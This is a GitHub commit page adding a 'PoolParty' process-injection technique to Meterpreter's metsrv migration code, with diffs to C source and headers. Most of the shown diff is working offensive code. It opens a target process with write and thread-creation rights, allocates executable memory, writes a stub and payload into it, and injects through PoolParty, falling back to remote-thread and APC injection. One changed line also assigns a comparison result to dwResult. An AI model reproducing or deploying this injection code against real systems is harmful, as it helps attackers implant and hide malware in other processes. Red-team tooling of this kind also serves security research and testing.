Skip to content

Commit

Permalink
Land #710, Injection using PoolParty
Browse files Browse the repository at this point in the history
Injection using PoolParty
  • Loading branch information
bwatters-r7 authored Oct 30, 2024
2 parents 53833da + b85ceb0 commit 08d2d1c
Show file tree
Hide file tree
Showing 9 changed files with 1,228 additions and 109 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@
*.suo
.vs
*.user
.vscode
45 changes: 30 additions & 15 deletions c/meterpreter/source/metsrv/base_dispatch.c
Original file line number Diff line number Diff line change
Expand Up @@ -539,7 +539,9 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

MetsrvConfig* config = NULL;
DWORD configSize = 0;


BOOL bPoolParty = FALSE;
DWORD dwProcessAccess;
do
{
response = packet_create_response(packet);
Expand Down Expand Up @@ -568,7 +570,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s", dwProcessID, dwDestinationArch == 2 ? "x64" : "x86");
dprintf("[MIGRATE] Attempting to migrate. PayloadLength=%d StubLength=%d", dwPayloadLength, dwMigrateStubLength);

// If we can, get SeDebugPrivilege...
bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES priv = { 0 };
Expand All @@ -587,8 +590,11 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
CloseHandle(hToken);
}

// Open the process so that we can migrate into it
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
dwProcessAccess = PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;
dwProcessAccess |= PROCESS_CREATE_THREAD;

hProcess = OpenProcess(dwProcessAccess, FALSE, dwProcessID);

if (!hProcess)
{
BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
Expand Down Expand Up @@ -630,6 +636,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);


// Allocate memory for the migrate stub, context, payload and configuration block
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpMemory)
Expand All @@ -639,7 +646,6 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

// Calculate the address of the payload...
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;

// Write the migrate stub to memory...
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
Expand Down Expand Up @@ -670,20 +676,29 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

free(ctx);

// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
if (bPoolParty) {
dwResult = inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS;
if (dwResult != ERROR_SUCCESS){
// If we fail injecting with poolparty, we reset the dwResult and set the bPoolParty to FALSE to make the next if-clause true.
bPoolParty = FALSE;
dwResult = ERROR_SUCCESS;
dprintf("[MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.");
}
}

dwResult = ERROR_SUCCESS;
if (!bPoolParty) {
// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
}
}
}
} while (0);

SAFE_FREE(config);
Expand Down
322 changes: 229 additions & 93 deletions c/meterpreter/source/metsrv/base_inject.c

Large diffs are not rendered by default.

27 changes: 26 additions & 1 deletion c/meterpreter/source/metsrv/base_inject.h
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
#define MIGRATE_TECHNIQUE_APCQUEUE 2
#define MIGRATE_TECHNIQUE_POOLPARTY 3

//===============================================================================================//

Expand Down Expand Up @@ -65,16 +66,40 @@ typedef struct _WOW64CONTEXT
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;

// The context used for injection via migrate_via_poolparty
typedef struct _POOLPARTYCONTEXT
{
union
{
LPVOID lpStartAddress;
BYTE bPadding[8];
} s;

union
{
LPVOID lpParameter;
BYTE bPadding[8];
} p;

union
{
LPVOID hTriggerEvent;
BYTE bPadding[8];
} e;

} POOLPARTYCONTEXT, * LPPOOLPARTYCONTEXT;

//===============================================================================================//

DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);

DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);

DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);

DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);

BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
//===============================================================================================//
#endif
//===============================================================================================//
Loading

0 comments on commit 08d2d1c

Please sign in to comment.